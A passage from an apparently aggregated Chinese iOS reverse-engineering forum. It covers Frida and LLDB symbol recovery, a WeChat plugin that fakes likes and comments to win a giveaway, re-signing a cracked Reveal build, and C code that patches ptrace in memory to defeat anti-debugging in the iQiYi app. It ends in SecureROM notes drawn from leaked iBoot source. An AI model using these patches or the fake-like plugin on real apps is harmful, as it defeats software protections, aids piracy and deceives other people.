			console.log("Objective-C Runtime is not available!");
	}
	'''
	
	return source+js


def do_hook():
	return xia0CallStackSymbolsTest()

if __name__ == '__main__':
	try:
		device = frida.get_device_manager().enumerate_devices()[-1]
		print device
		pid = device.spawn([PACKAGE_NAME])
		print("[JSBACH] {} is starting. (pid : {})".format(PACKAGE_NAME, pid))

		session = device.attach(pid)
		device.resume(pid)

		script = session.create_script(do_hook())
		script.on('message', on_message)
		script.load()
		sys.stdin.read()
	except KeyboardInterrupt:
		sys.exit(0)

只需要将xia0CallStackSymbols.js脚本放到项目中,然后用以下代码即可导入使用

script_dir = os.path.dirname(os.path.realpath(__file__))
xia0CallStackSymbolsJS = os.path.join(script_dir, 'xia0CallStackSymbols.js')
source = ''
with codecs.open(xia0CallStackSymbolsJS, 'r', 'utf-8') as f:
	source = source + f.read()
	
your_frida_js_hook_script = ""
load_js = your_frida_js_hook_script+source

恢复的效果如下:

这里可以看出lldb调试器恢复的符号信息最完整且准确,lldb的栈符号恢复项目在这里,现在还能支持block函数的符号恢复。

这里有几个问题需要说明一下:

  • xia0CallStackSymbols的符号为什么前15个地址没有显示?

    因为前15个地址都是frida中js解释器里面的函数执行地址,没有办法拿到模块信息,也没必要解析这些地址。

  • xia0CallStackSymbols中还提供了内存对应的文件地址,如果你觉得符号有问题,可以直接去ida中手动查找符号

  • 如果用dladdr能够拿到地址的符号信息,就没有调用xia0CallStackSymbols去恢复(比如符号表没有strip的情况)

  • xia0CallStackSymbols()接口可以传递一个bool参数,true为仅仅解析主模块的地址,false为所有模块都需要解析。实际在逆向过程中一般只需要主模块的符号信息,其他系统函数没很大必要。

遗留问题/Todo

  • 在执行恢复符号的过程中时间相对较长,主要原因在于每一个地址都要和所有方法比较,这里建议xia0CallStackSymbols传入true,这样只解析主模块的地址。耗时的原因还在于每一个地址解析的时候都会去调用接口获取所有方法信息,实际上每个模块只需要一次就能拿到所有方法信息,接下来要做的就是优化相关代码,缓存模块的所有方法信息,下次解析的地址为该模块时直接去缓存里面匹配查找。
  • 在匹配符号的过程中,判断是否为C函数需要更多的原则,3000的阈值需要后面再调下。
  • 关于block的符号恢复,目前只有在lldb中实现了,下一步准备在xia0CallStackSymbols中也支持恢复block函数符号

题外话

短视频下载去水印如果有人感兴趣的话,可以点这里,目前支持的有皮皮搞笑、抖音(我不看抖音!)

参考

Posts: 2

Participants: 2

Read full topic

最近搞了一个还原Armariris字符串混淆的ida插件,不知道大佬们有没有兴趣

$
0
0

@smartdone wrote:

原理很简单,Armariris会加一些带有datadiv_decode的函数,在可执行文件或者动态库初始化的时候就会执行,将字符串还原。脚本使用unicorn engin去调用这些函数,将执行后的数据使用ida patch上去(脚本链接:https://github.com/smartdone/re_scripts/blob/master/ida/Armariris_string_obfuscation_bypass.py)。效果如下:
还原前:

1.png

还原后

2.png

Posts: 6

Participants: 5

Read full topic

Reveal 被损坏的解决办法

$
0
0

@Lakr233 wrote:

在xclient.info下载的reveal在启动时说已损坏
15%20PM

据我们所知,飘云阁的■■一般不回出现文件损坏的问题。那问题出在哪里呢?先打个tty看看输出:

很明了了对不对!走起。
ldid2 -S /Applications/Reveal.app/Contents/MacOS/libChinaPYG.dylib

然后就可以用了。

(其实我也挺好奇我明明在boot-arg写了amfi_get_out_of_my_way=0x1怎么还会有签名问题

Posts: 1

Participants: 1

Read full topic

越狱设备一键化操作脚本-issh

$
0
0

@4chendy wrote:

看到论坛上关于iOS12以及各版本的debugserver很多人都遇到各种各样的问题

分享一个我自己用的shell脚本,主要是解决越狱设备琐碎,耗时,耗精力的ssh操作。

包括常见的ssh免密登录,自动开启端口映射,自动签名debugserver,一键调试,一键dump(调用frida-ios-dump)等

debugserver的一键化调试在iOS9/10/11/12上测试均无问题

不过脚本还在完善之中,可能会有一些bug,欢迎pr

项目地址:issh

Posts: 2

Participants: 2

Read full topic


微信集赞/评论插件分析及开发

$
0
0

@4chendy wrote:

开始

为什么要做这个集赞的插件呢?起因是上周去参加了某个会议,有一个集赞60领玩偶的活动,但是想到平时一条朋友圈也就几个赞,而且又不想找人点赞,领不到,很气。回去以后想着能不能写一个集赞的插件,在需要的时候直接输入想要的赞、评论数量,我发的朋友圈就能有多少赞。这样再有这样的活动岂不美哉。准备开干!

理性分析

再开始之前,先理性分析一波:如果想要集赞,这里有两种思路,一个是直接在view层去更改,但是这样得去处理界面的一些细节,一旦不注意,很容易崩溃。还有种思路是更改datasource或者说赞评论的模型。可以想到,最初一条朋友圈肯定是从服务器拿到数据并封装成对应的模型。一般来说,越改底层的数据或者说源头的数据,那么稳定性和真实性就更高。这里我的想法就是既不改view层,也不改源头层,就改封装好的模型那一层应该就很符合要求。接下来主要讲一下怎么我去实现这个需求的分析过程,因为本身功能不是很复杂,大佬随便看看就行。

准备条件

  • 一台mac
  • 一台越狱的iOS设备
  • ida/Hooper/theos
  • flex/issh/xia0LLDB
  • 其他常见逆向工具等

对于一贯喜欢上调试器分析得我,所以写了iSSHxia0LLDB两个工具,在这两个工具的辅助下整个插件用了2小时就完成了逆向分析和代码实现。

逆向分析

逆向赞和评论的数据模型

一切从界面入手,这里分析界面我一般喜欢用flex,在微信的朋友圈界面,用flex很容易发现当前界面的控制器为WCTimeLineViewController而且界面是一个UITableView

将wechat执行文件拖入Hooper(wechat文件太大,ida分析会很卡)找到UITableView的代理方法:
-[WCTimeLineViewController tableView:cellForRowAtIndexPath:]

这里面肯定会根据模型去设置cell数据

  r2 = [r28 section];
  var_70 = r25;
  r24 = [r25 calcDataItemIndex:r2];
  r25 = [[MMServiceCenter defaultCenter] retain];
  r2 = [WCFacade class];
  var_78 = r28;
  r0 = [r25 getService:r2];
  r0 = [r0 retain];
  r24 = [[r0 getTimelineDataItemOfIndex:r24] retain];
  [r0 release];
  [r25 release];
  r19 = [[MMServiceCenter defaultCenter] retain];
  r0 = [r19 getService:[WCFacade class]];
  r0 = [r0 retain];
  r25 = [[r0 getLayerIdForDataItem:r24] retain];
  [r0 release];
  [r19 release];
  r19 = [[MMServiceCenter defaultCenter] retain];
  r0 = [r19 getService:[WCFacade class]];
  r0 = [r0 retain];
  r20 = r0;
  r0 = [r0 getShowTip:r24 layerId:r25];
  r29 = r29;
  r26 = [r0 retain];
  [r20 release];
  [r19 release];

整理下来就是

[[MMServiceCenter defaultCenter] getService:[WCFacade class]]会得到一个WCFacade对象,然后通过

[WCFacade getTimelineDataItemOfIndex:]就能得到cell的数据

看到这里,上调试器!看下都是什么数据…

将设备用数据线连接上电脑(这里我推荐用数据线的方式,wifi延时太高,影响心情),手机上打开微信

直接输入issh debug -a wechat就能挂上微信

xia0 ~ $ issh debug -a wechat
[I]:iproxy process for 2222 port alive, pid=1382
[I]:++++++++++++++++++ Nice to Work :) +++++++++++++++++++++
[I]:iOSRE dir exist
[I]:iproxy process for 1234 port alive, pid=1395
[I]:Run ps -e | grep debugserver | grep -v grep; [[ 0 == 0 ]] && (killall -9 debugserver 2> /dev/null)
[I]:/iOSRE/tools/debugserver file exist, Start debug...
[I]:Run /iOSRE/tools/debugserver 127.0.0.1:1234 -a wechat

打开另一个终端进行调试(我的lldb已经安装了xia0LLDB脚本)

xia0 ~ $ lldb
"xutil" command installed -> xutil
"choose" command installed -> choose
"xbr" command installed --> xbr -[UIView initWithFrame:]
"sbt" command installed -> sbt
// 连接到远端
(lldb) pcc

这里有两种方法:

一种是用xbr "-[WCTimeLineViewController tableView:cellForRowAtIndexPath:]"下断点去查看;

// 对-[WCTimeLineViewController tableView:cellForRowAtIndexPath:]方法下断点
(lldb) xbr "-[WCTimeLineViewController tableView:cellForRowAtIndexPath:]"
(lldb) c

第二种是由于lldb支持choose命令,可以直接拿到WCFacade对象。既然如此选choose

(lldb) choose WCFacade
<__NSArrayM 0x2823d9860>(
<WCFacade: 0x139e1c030>
)

调用其getTimelineDataItemOfIndex:方法就能拿到第一条朋友圈的数据

(lldb) po [0x139e1c030 getTimelineDataItemOfIndex:0]
Class name: WCDataItem, addr: 0x13e2871d0
tid: 13121667995275040000
username: wxid_6913ohfkk7xxxx
createtime: 1564224719
commentUsers: (
)
contentObj: <WCContentItem: 0x2801f5500>

输入ivars 0x13e2871d0就能拿到对象的所有属性值

(lldb) ivars 0x13e2871d0
<WCDataItem: 0x13e2871d0>:
in WCDataItem:
	cid (int): 0
	tid (NSString*): @"13121667995275040000"
	type (int): 0
	flag (int): 0
	username (NSString*): @"wxid_6913ohfkk7xxxx"
	nickname (NSString*): @"xia0"
	createtime (int): 1564224719
	locationInfo (WCLocationInfo*): <WCLocationInfo: 0x2801f7800>
	likeFlag (BOOL): NO
	likeCount (int): 0
	likeUsers (NSMutableArray*): <__NSArrayM: 0x286152d90>
	commentCount (int): 0
	commentUsers (NSMutableArray*): <__NSArrayM: 0x2861539c0>
	contentObj (WCContentItem*): <WCContentItem: 0x2801f5500>
	appInfo (WCAppInfo*): <WCAppInfo: 0x287404080>
	contentDesc (NSString*): @"test"

由于属性太多,这里我就只显示了一些比较关心的数据,可以看到这就是我发的一条内容为test的朋友圈。

里面我们还发现了likeUserscommentUsers的字段,冷静思考就知道应该就是对应的赞和评论列表。我先给自己点个赞看下里面的数据。

likeCount (int): 1
likeUsers (NSMutableArray*): <__NSArrayM: 0x283e37060>

发现赞的数量变为1了,在看下里面的内容

(lldb) po 0x283e37060
<__NSArrayM 0x283e37060>(
Class name: WCUserComment
username: wxid_6913ohfkk7xxxx
nickname: xia0
content:
source: 0
type: 1
createTime: 1564225007
isLocalAdded: 0
commentID: (null)
comment64ID: (null)
refCommentID: (null)
refComment64ID: (null)
refUserName:
bDeleted: 0
)

正是我自己的微信号。同理可以得到评论

commentCount (int): 1
commentUsers (NSMutableArray*): <__NSArrayM: 0x283e349c0>
	
(lldb) po 0x283e349c0
<__NSArrayM 0x283e349c0>(
Class name: WCUserComment
username: wxid_6913ohfkk7xxxx
nickname: xia0
content: 评论测试
source: 0
type: 2
createTime: 1564225144
isLocalAdded: 1
commentID: (null)
comment64ID: (null)
refCommentID: (null)
refComment64ID: (null)
refUserName: (null)
bDeleted: 0
)

到这里我们还可以发现赞和评论都是一个类(模型),只是里面的类型字段不同。现在我们其实已经拿到了我们想要的数据模型了。但是还有一个问题在于我们应该什么时候去更改这些数据呢?也就是我们说的hook点。

最好的hook可以想到是每次刷新数据的时候,这样我们的数据就是最新的。

寻找HOOK点

先想一下,刷新数据的时候,当拿到新的数据肯定会封装为一个WCDataItem对象,那么我们可以对WCDataItem里面的方法下断点,然后打印调用链不就反向得到了刷新的函数了吗?

但是逆向和调试过微信的人都知道,当你使用bt命令的时候只能得到一堆无符号的调用栈像下面这样

(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 4.1
  * frame #0: 0x000000010857d4d0 WeChat`_mcwxh_dydx33_8to8(_VDecStruct*, unsigned char*, unsigned char*, unsigned int, unsigned int, unsigned int, unsigned int) + 30312888
    frame #1: 0x0000000194fcc638 Foundation`_decodeObjectBinary + 2004
    frame #2: 0x0000000194fcbb6c Foundation`_decodeObject + 340
    frame #3: 0x0000000194ed24fc Foundation`-[NSKeyedUnarchiver decodeObjectForKey:] + 228
    frame #4: 0x0000000194f2a09c Foundation`+[NSKeyedUnarchiver unarchiveObjectWithData:] + 92
    frame #5: 0x0000000105a88404 WeChat`int fmt::internal::CharTraits<char>::format_float<long double>(char*, unsigned long, char const*, unsigned int, int, long double) + 2432992
    frame #6: 0x0000000108da9ea8 WeChat`_mcwxh_dydx33_8to8(_VDecStruct*, unsigned char*, unsigned char*, unsigned int, unsigned int, unsigned int, unsigned int) + 38884240
    frame #7: 0x0000000108daa890 WeChat`_mcwxh_dydx33_8to8(_VDecStruct*, unsigned char*, unsigned char*, unsigned int, unsigned int, unsigned int, unsigned int) + 38886776
    frame #8: 0x0000000108dad178 WeChat`_mcwxh_dydx33_8to8(_VDecStruct*, unsigned char*, unsigned char*, unsigned int, unsigned int, unsigned int, unsigned int) + 38897248
    frame #9: 0x0000000108717394 WeChat`_mcwxh_dydx33_8to8(_VDecStruct*, unsigned char*, unsigned char*, unsigned int, unsigned int, unsigned int, unsigned int) + 31991932

但是用我写的sbt命令就能恢复oc符号,下面我们对-[WCDataItem setCid:]下断点,然后得到调用栈

(lldb) sbt
==========================================xia0LLDB==========================================
  BlockSymbolFile    Not Set The Block Symbol Json File, Try 'sbt -f'
============================================================================================
  frame #0: [file:0x103c094d0 mem:0x10857d4d0] WeChat`-[WCDataItem setCid:] + 0
  frame #1: [file:0x18193c638 mem:0x194fcc638] Foundation`_decodeObjectBinary + 2004
  frame #2: [file:0x18193bb6c mem:0x194fcbb6c] Foundation`_decodeObject + 340
  frame #3: [file:0x1818424fc mem:0x194ed24fc] Foundation`-[NSKeyedUnarchiver decodeObjectForKey:] + 228
  frame #4: [file:0x18189a09c mem:0x194f2a09c] Foundation`+[NSKeyedUnarchiver unarchiveObjectWithData:] + 92
  frame #5: [file:0x101114404 mem:0x105a88404] WeChat`+[CUtility SafeUnarchiveFromData:] + 64
  frame #6: [file:0x104435ea8 mem:0x108da9ea8] WeChat`-[WCAdvertiseDataHelper hasCommented:] + 116
  frame #7: [file:0x104436890 mem:0x108daa890] WeChat`-[WCAdvertiseDataHelper IsAdvertiseDataValid:] + 48
  frame #8: [file:0x104439178 mem:0x108dad178] WeChat`-[WCAdvertiseDataHelper getAdvertiseDataByCurMinTime:MaxTime:] + 552
  frame #9: [file:0x103da3394 mem:0x108717394] WeChat`Maybe c function? Distance:3348 >= 2500 # Symbol:-[WCTimelineMgr tryRemoveCachesOfLikeUserWithNewTimelineList:] + 3348
  frame #10: [file:0x206a0 mem:0x1131f06a0] WeChat`-[WCTimelineMgr onDataUpdated:andData:andAdData:withChangedTime:] + 233
  frame #11: [file:0x103db00c8 mem:0x1087240c8] WeChat`Maybe c function? Distance:9732 >= 2500 # Symbol:-[WCTimelineDataProvider responseForSnsTimeLineResponse:Event:] + 9732
  frame #12: [file:0x103db0398 mem:0x108724398] WeChat`-[WCTimelineDataProvider MessageReturn:Event:] + 112
  frame #13: [file:0x1033923c0 mem:0x107d063c0] WeChat`-[CAppObserverCenter NotifyFromMainCtrl:Event:] + 336
  frame #14: [file:0x104c292f8 mem:0x10959d2f8] WeChat`-[CMainControll TimerCheckEvent] + 728
  frame #15: [file:0x1800a3604 mem:0x193733604] libobjc.A.dylib`-[NSObject performSelector:withObject:] + 68
  frame #16: [file:0x101cb1fa8 mem:0x106625fa8] WeChat`-[MMNoRetainTimerTarget onNoRetainTimer:] + 84
  frame #17: [file:0x1819750bc mem:0x1950050bc] Foundation`__NSFireTimer + 88
  frame #18: [file:0x180e3d0a4 mem:0x1944cd0a4] CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ + 32
  frame #19: [file:0x180e3cdd0 mem:0x1944ccdd0] CoreFoundation`__CFRunLoopDoTimer + 884
  frame #20: [file:0x180e3c5c4 mem:0x1944cc5c4] CoreFoundation`__CFRunLoopDoTimers + 252
  frame #21: [file:0x180e37284 mem:0x1944c7284] CoreFoundation`__CFRunLoopRun + 1832
  frame #22: [file:0x180e36844 mem:0x1944c6844] CoreFoundation`CFRunLoopRunSpecific + 452
  frame #23: [file:0x1830e5be8 mem:0x196775be8] GraphicsServices`GSEventRunModal + 104
  frame #24: [file:0x1ae78431c mem:0x1c1e1431c] UIKitCore`UIApplicationMain + 216
  frame #25: [file:0x100152b04 mem:0x104ac6b04] WeChat`main + 1387268
  frame #26: [file:0x1808ec020 mem:0x193f7c020] libdyld.dylib`start + 4

可以看到调用栈的符号已经恢复了,能够清晰的看出调用的过程

其中里面有个很明显的方法

-[WCTimelineMgr onDataUpdated:andData:andAdData:withChangedTime:]

看名字就知道,这个应该就是我们需要的hook点。

整理思路

整理一下目前的情况,首先拿到了赞和评论的模型,然后找到了hook点。下一步就是写代码去实现集赞的功能。

大概的代码逻辑应该如下

  • 在hook点的时候拿到原始的朋友圈数据,并过滤出自己的那条朋友圈
  • 取出自己朋友圈的赞和评论数据备用
  • 随机从通讯录好友里面选择数量去构造赞和评论对象,并放入原朋友圈赞和评论列表里面

下面就是写代码实现就可以了。还有个情况是在你进入自己的朋友圈详情界面的时候,也就是看到点赞的人都是头像的界面。也需要做类似的操作才能实现集赞的功能。

这里分析的过程和上面类似,我选择的hook点为:
-[WCCommentDetailViewControllerFB setDataItem:]

代码实现

具体的代码实现这里就不再去分析了,我把代码开源到了这里fkwechatzan

完成效果

  • 集赞助手设置界面

  • 朋友圈详情界面

  • 赞和评论

一点总结

本文详细介绍了使用issh和xia0LLDB去完成一个集赞功能的逆向分析过程,这个功能本身不是很复杂,这里仅仅我在逆向过程中的一些理解和分析。每个人的逆向分析过程可能都不尽相同,我提供一个完整的分析步骤,而不是完全的去靠猜测,虽然逆向有时候猜测就能有一些意外惊喜,不过不确定性也同样会花费大量时间。

最后,妈妈再也不用担心没有人赞我的朋友圈了~

下次集赞领礼品的活动我要定了!

Posts: 3

Participants: 2

Read full topic

ZLJBlockPrinter打印Block的签名和虚拟内存地址

iOS LLDB中反反调试分析与实现

$
0
0

@4chendy wrote:

开始

关于反调试和反反调试,已经有很多人分析过了,也有很多解决方案。但是在LLDB中做反反调试还没人做过,这也是我一直想解决的一个方案,毕竟本身就是为了调试,那么在LLDB直接输入一行命令就能反反调试应该相对酸爽。本文将介绍一种基于内存单指令patch的方式进行反反调试的方案,大概意思就是通过直接修改代码段的指令来绕过反调试机制。

目前反调试与反反调试情况

这里庆哥写了一遍文章分析了 关于反调试&反反调试那些事

这里简单归纳一下,有如下几种:

  • ptrace
  • sysctl
  • syscall
  • SIGTOP
  • task_get_exception_ports

这里实际上就大概三种,其他都是基于ptrace的变种。ptrace这个函数是linux就提供的一个接口,常常用作linux系的反调试,本质就是通过26号系统调用来完成的,目前大多反调试都利用该方案。

后面看到庆哥同样提供了一个反反调试的LLDB脚本,不过看了下和我的思路还是不一样的。(差点以为白做了)

正如文章里面写到通过lldb下断点,然后修改参数,或者直接返回也可以达到反反调试的效果。由于要不断去检查执行状态等,或者程序有定时器定时检测,这个脚本影响性能及变得很卡影响调试体验。不过还是膜庆哥的方案,学习了。

内存patch实现反反调试

说一下大概思路:

  • 内存中找到ptrace地址
  • 将该内存map为rwx
  • 直接将首调指令修改为ret指令

刚开始以为就这样简单就完了,结果实际写代码的时候才发现过程远比想象中复杂。

由于iOS不允许直接将代码段map为写权限,这里调用mach_vm_protectmprotect都会异常。但是类似frida、substitute以及hookzz都能进行指令hook。这样说来,肯定是可以修改代码段的。看了下substitute以及frida中关于这块的实现,才发现可以用一种remap的方式修改代码段。

大致的流程如下:

  • 使用mmap新建一块内存,把这块内存叫做new
  • 使用vm_copy把想要篡改的处于__text段内的内存(把这块内存叫target)拷贝到new里
  • 向new里写入想执行的代码
  • 调用mprotect把new改为rx。因为mmap出来的内存的max_protection是rwx,所以这里mprotect改权限没问题
  • 调用mach_vm_remap把new的内容反映回target里

不过当我写代码测试的时候发现,remap以后整个页数据都变成了0。实在不清楚原因,向Zz求助,Zz直接扔了我他实现这块的代码。我看了以后收益匪浅,只怪之前没分析hookzz的具体实现。后面才知道由于我的设备是iOS12,Zz意思是codesign的问题,hookZz也没支持。于是换了一台iOS9的设备,果然就可以了,向Zz低头。

期间还由于我手残忘记调用mprotect把new改为rx。导致直接执行异常,用memory region查看地址才知道页保护属性为rw

相关代码如下:

1、map new page for patch

    // map new page for patch
    void *new = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED, -1, 0);
    if (!new ){
        NSLog(@"[-] mmap failed!");
        return;
    }
    NSLog(@"[*] new map address:%p", new);

2、start patch

    // start patch
		kret = vm_copy(self_task, (unsigned long)page_start, 0x1000, (vm_address_t) new);
    if (kret != KERN_SUCCESS){
        NSLog(@"[-] kr: %d, errno: %d", kret, errno);
        return;
    }
   
    char patch_ret_ins_data[4] = {0xc0, 0x03, 0x5f, 0xd6}; // ret 
    memcpy((void *)(new+patch_offset), patch_ret_ins_data, 4);
    
    NSLog(@"[*] new map+offset address:%p", (void *)(new+patch_offset));

3、set new page back to r-x

    // set back to r-x
    int ret = mprotect(new, 0x1000, PROT_READ | PROT_EXEC);
    NSLog(@"[*] ret: %d, errno: %d, addr: %p", ret, errno, new);

4、remap the target page

    kret = mach_vm_remap(mach_task_self(), &target, 0x1000, 0,
                       VM_FLAGS_OVERWRITE, self_task,
                       (mach_vm_address_t) new, TRUE,
                       &c, &m, inherit);
    
    if(kret != KERN_SUCCESS){
        NSLog(@"[-] kr: %d, errno: %d", kret, errno);
        return;
    }
    
    NSLog(@"[*] now ptrace_ptr address:%p", ptrace_ptr)

5、clear cache

	void* clear_start_ = (void*)page_start + patch_offset;
  sys_icache_invalidate (clear_start_, 4);
  sys_dcache_flush (clear_start_, 4);

完整的代码在xia0LLDB里面已经集成:https://github.com/4ch12dy/xia0LLDB/blob/master/debugme.py

一个简单反反调试实验

这里以爱奇艺为例子分析,爱奇艺在main函数里面动态调用了ptrace函数进行反调试。

  • 后台启动方式启动爱奇艺

    xia0 ~ $ issh debug -x backboard /var/containers/Bundle/Application/F9D8AACA-30F0-4F26-96CA-5B06782CC903/iQiYiPhoneVideo.app/iQiYiPhoneVideo
    [I]:iproxy process for 2222 port alive, pid=16264 
    [I]:++++++++++++++++++ Nice to Work :) +++++++++++++++++++++ 
    [I]:iOSRE dir exist 
    [I]:iproxy process for 1234 port alive, pid=16428 
    [I]:Run ps -e | grep debugserver | grep -v grep; [[ 0 == 0 ]] && (killall -9 debugserver 2> /dev/null) 
    [I]:/iOSRE/tools/debugserver file exist, Start debug... 
    [I]:Run /iOSRE/tools/debugserver 127.0.0.1:1234 -x backboard /var/containers/Bundle/Application/F9D8AACA-30F0-4F26-96CA-5B06782CC903/iQiYiPhoneVideo.app/iQiYiPhoneVideo
    
  • LLDB挂上以后在main函数下断点以后直接执行debugme命令

    (lldb) debugme
    Kill antiDebug by xia0:
    [*] ptrace target address: 0x1837dc180 and offset: 0x180
    [*] mmap new page: 0x1021ec000 success. 
    [+] vm_copy target to new page.
    [+] patch ret[0xc0 0x03 0x5f 0xd6] with memcpy
    [*] set new page back to r-x success!
    [*] get page info done.
    [+] remap to target success!
    [*] clear cache success!
    [+] all done! happy debug~
    

    下面查看对比下patch前后指令ptrace首指令的变化

    Patch之前

    (lldb) x/12i 0x00000001837dc180
        0x1837dc180: 0xf00f26a9   adrp   x9, 124119
        0x1837dc184: 0x91034129   add    x9, x9, #0xd0             ; =0xd0 
        0x1837dc188: 0xb900013f   str    wzr, [x9]
        0x1837dc18c: 0xd2800350   mov    x16, #0x1a
        0x1837dc190: 0xd4001001   svc    #0x80
        0x1837dc194: 0x540000c3   b.lo   0x1837dc1ac               ; <+44>
        0x1837dc198: 0xa9bf7bfd   stp    x29, x30, [sp, #-0x10]!
        0x1837dc19c: 0x910003fd   mov    x29, sp
        0x1837dc1a0: 0x97ff9b08   bl     0x1837c2dc0               ; cerror
        0x1837dc1a4: 0x910003bf   mov    sp, x29
        0x1837dc1a8: 0xa8c17bfd   ldp    x29, x30, [sp], #0x10
        0x1837dc1ac: 0xd65f03c0   ret 
    

    Patch之后

    (lldb) x/12i 0x1837dc180
        0x1837dc180: 0xd65f03c0   ret    
        0x1837dc184: 0x91034129   add    x9, x9, #0xd0             ; =0xd0 
        0x1837dc188: 0xb900013f   str    wzr, [x9]
        0x1837dc18c: 0xd2800350   mov    x16, #0x1a
        0x1837dc190: 0xd4001001   svc    #0x80
        0x1837dc194: 0x540000c3   b.lo   0x1837dc1ac               ; <+44>
        0x1837dc198: 0xa9bf7bfd   stp    x29, x30, [sp, #-0x10]!
        0x1837dc19c: 0x910003fd   mov    x29, sp
        0x1837dc1a0: 0x97ff9b08   bl     0x1837c2dc0               ; cerror
        0x1837dc1a4: 0x910003bf   mov    sp, x29
        0x1837dc1a8: 0xa8c17bfd   ldp    x29, x30, [sp], #0x10
        0x1837dc1ac: 0xd65f03c0   ret
    

    可以发现首地址已经变成了ret指令。

  • 执行continue命令,发现爱奇艺已经能够正常调试。

    (lldb) c
    Process 3176 resuming
    2019-08-13 17:22:17.283 iQiYiPhoneVideo[3176:161840] [plcrash]: init ok
    2019-08-13 17:22:17.790 iQiYiPhoneVideo[3176:161840] -[QYBaikePageDurationManager bk_appDidBecomeActive:]
    2019-08-13 17:22:17.922 iQiYiPhoneVideo[3176:161840] CoreData: Failed to load optimized model at path '/var/containers/Bundle/Application/F9D8AACA-30F0-4F26-96CA-5B06782CC903/iQiYiPhoneVideo.app/QYPGCDataModel.momd/QYPGCDataModel_970.omo'
    2019-08-13 17:22:20.477 iQiYiPhoneVideo[3176:161840] OSStatus error: [-34018] Security error has occurred.
    2019-08-13 17:22:20.558 iQiYiPhoneVideo[3176:162000] OSStatus error: [-34018] Security error has occurred.
    3176:161840] Incorrect NSStringEncoding value 0x8000100 detected. Assuming NSASCIIStringEncoding. Will stop this compatiblity mapping behavior in the near future.
    ontainers/Data/Application/5C31FE18-9BA4-4B2D-80C6-68BF7F65855F/Library/Application Support/爱奇艺/0_im.sqlite
    

总结/Todo

这里只是简单的绕过了ptrace方式的反调试,针对直接用汇编写的反调试我的做法是静态内存搜索匹配svc位置,发现是调用26号系统调用则利用内存patch为nop。或者写一个简单的hook代码,hook所有的svc地址,判断寄存器的值然后进行hook即可,这样就能绕过这些反调试机制,再次向Zz和庆哥低头。

参考/致谢

Posts: 3

Participants: 2

Read full topic

SecureROM 分析笔记

$
0
0

@Proteas wrote:

这是我在分析 SecureROM 时随手记得笔记。

  • 软件环境:基于泄露的 iBoot 的源码,所涉及的二进制是基于源码编译的。
  • 硬件环境:T8010。

SecureROM 的功能概览

从下面的简化版的启动流程图上可以看出 SecureROM 的功能相对比较单一:

Form From:https://xerub.github.io/ios/iboot/2018/05/10/de-rebus-antiquis.html

                    NAND/Normal  +------+     +-------+
                   ------------> | LLB  | --> | iBoot | --> OS
    +-----------+ /              +------+     +-------+
    | SecureROM |<
    +-----------+ \              +------+     +-------+
                   ------------> | iBSS | --> | iBEC  | --> Restore
                    USB/DFU      +------+     +-------+

  • 进行基本的外设及内存初始化。
  • 枚举预设的块设备,寻找启动设备,加载 LLB。
  • 如果无法找到启动设备或者相关针脚指示要进入 DFU(Device Firmware Update) 模式,则加载 iBSS。

Start 函数

__text:0000000100000000 start
__text:0000000100000000 
__text:0000000100000000                 ADRP            X0, #start
__text:0000000100000004                 ADD             X0, X0, #start@PAGEOFF
__text:0000000100000008                 LDR             X1, =start
__text:000000010000000C                 BL              platform_start
__text:0000000100000010                 CMP             X1, X0
__text:0000000100000014                 B.EQ            loc_10000003C
__text:0000000100000018                 MOV             X30, X1
__text:000000010000001C                 LDR             X2, =handlers
__text:0000000100000020                 LDR             X3, =start
__text:0000000100000024                 SUB             X2, X2, X3
__text:0000000100000028
__text:0000000100000028 loc_100000028
__text:0000000100000028                 LDP             X3, X4, [X0],#0x10
__text:000000010000002C                 STP             X3, X4, [X1],#0x10
__text:0000000100000030                 SUBS            X2, X2, #0x10
__text:0000000100000034                 B.NE            loc_100000028
__text:0000000100000038                 RET

如上的反汇编结果是 start 的起始部分,这部分的主要功能是:确定 SecureROM 是否被加载到固定地址 0x100000000。如果在指定地址,则执行真正的功能代码 loc_10000003C。如果不是,则将返回地址设置到 0x100000000,并返回。platform_start 的汇编代码如下:

__text:0000000100009730 platform_start
__text:0000000100009730                 MRS             X2, S3_3_C15_C7_0
__text:0000000100009734                 ORR             X2, X2, #2
__text:0000000100009738                 MSR             S3_3_C15_C7_0, X2
__text:000000010000973C
__text:000000010000973C loc_10000973C
__text:000000010000973C                 MRS             X2, S3_3_C15_C7_0
__text:0000000100009740                 AND             X2, X2, #0x8000000000000000
__text:0000000100009744                 CBZ             X2, loc_10000973C
__text:0000000100009748                 RET
__text:0000000100009748 ; End of function platform_start

start 函数主要功能的反编译结果如下:

void start()
{
...
	__asm { MSR             DAIFSET, #0XF }
	_WriteStatusReg(ARM64_SYSREG(3, 0, 12, 0, 0), exception_vector_base);
	for ( i = 0x1800A8000LL; i != 0x1800AC000LL; i += 16LL )
	{
	  *i = 0LL;
	  *(i + 8) = 0LL;
	}
	for ( j = 0x1800A0000LL; j != 0x1800A8000LL; j += 16LL )
	{
	  *j = 0LL;
	  *(j + 8) = 0LL;
	}
	__asm { MSR             SPSEL, #0 }
	v13 = 0x100020000LL;
	v14 = &interrupt_stack_top;
	if ( &interrupt_stack_top != 0x100020000LL )
	{
	  do
	  {
	    v15 = *v13;
	    v16 = *(v13 + 8);
	    v13 += 16LL;
	    v14->handler = v15;
	    v14->arg = v16;
	    v14 = (v14 + 16);
	  }
	  while ( v14 != handlers );
	}
	v17 = handlers;
	do
	{
	  v17->handler = 0LL;
	  v17->arg = 0LL;
	  v17 = (v17 + 16);
	}
	while ( v17 != &random_pool[12] );
	do
	{
	  LODWORD(v17->handler) = 0;
	  v17 = (v17 + 4);
	}
	while ( v17 < 0x180089448LL );
	interrupt_stack_top = 0x1800AC000LL;
	v18 = boot_handoff_trampoline;
	v19 = 0x1800AC000LL;
	do
	{
	  v20 = *v18;
	  v21 = *(v18 + 1);
	  v18 = (v18 + 16);
	  *v19 = v20;
	  *(v19 + 8) = v21;
	  v19 += 16LL;
	}
	while ( v18 < apcie_set_s3e_mode );
}

功能包括:设置中断向量表,初始化相关的内存,设置栈。执行完初始化后,start 函数也是通过设置返回地址的方式跳到 main 函数执行。

Main 函数

main 函数的反编译结果如下:

int __cdecl main()
{
  arch_cpu_init(0);
  printf("\nSecureROM start\n");
  printf("setting up initial clock configuration\n");
  platform_init_setup_clocks();
  printf("setting up internal memory\n");
  platform_init_internal_mem();
  printf("setting up default pin configuration\n");
